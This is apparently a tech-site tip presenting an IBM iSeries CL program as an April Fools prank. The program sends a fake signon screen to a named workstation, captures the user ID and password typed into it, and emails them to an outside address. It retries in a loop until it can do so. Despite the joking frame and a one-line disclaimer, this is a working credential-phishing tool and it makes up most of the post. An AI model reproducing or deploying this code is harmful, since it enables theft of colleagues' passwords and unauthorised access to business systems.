Problem solve Get help with specific problems with your technologies, process and projects.

This login screen may backfire.

This login screen may backfire.

This little program can be used on April 1st to prank your co-workers. First, determine the name of the Signon screen (DSPSBSD command), and set it in the program. Currently the program points at QDSIGNON.

Then, determine the workstation in which the unlucky person will sign on - this will be the parameer to call the program with.

The program will attempt to send the Signon scren to the workstation, and will retrieve the information typed on the fake sign on screen.

Of course, it is not recommended to capture confidential information that you have no right to see in the first place.


 		
PGM        PARM(&DEVNAME)
DCLF QDSIGNON      
DCL     VAR(&TEXT) TYPE(*CHAR) LEN(80)
MONMSG   MSGID(CPF0000) EXEC(GOTO CMDLBL(ERROR)) 
RTVNETA    SYSNAME(&SYSNAME)
CHGVAR     VAR(&SBSNAME) VALUE('QINTER')
CHGVAR     VAR(&IN01) VALUE('1')
CHGVAR     VAR(&COPYRIGHT) VALUE(' (C) ACME +      
             CORPORATION.  1949, 2001.')
RETRY:
OVRDSPF    FILE(QDSIGNON) DEV(&DEVNAME) WAITFILE(32767) 
PANEL:
SNDRCVF    RCDFMT(SIGNON)
CHGVAR     VAR(&TEXT) VALUE('User' *BCAT &USERID +
       *TCAT ': Pwd' *BCAT &PASSWRD)
SNDEMAIL     TO('Wile.E@acme.com') + 
   FROM('me@mycompany.com') +
   SUBJECT('QDSIGNON') +
   MSG(&TEXT) 
RETURN                                            
ERROR:
DLYJOB     DLY(10)       
GOTO       CMDLBL(RETRY) 
ENDPGM    

Dig Deeper on RPG iSeries programming

Start the conversation

Send me notifications when other members comment.

Please create a username to comment.

-ADS BY GOOGLE

SearchDataCenter

Close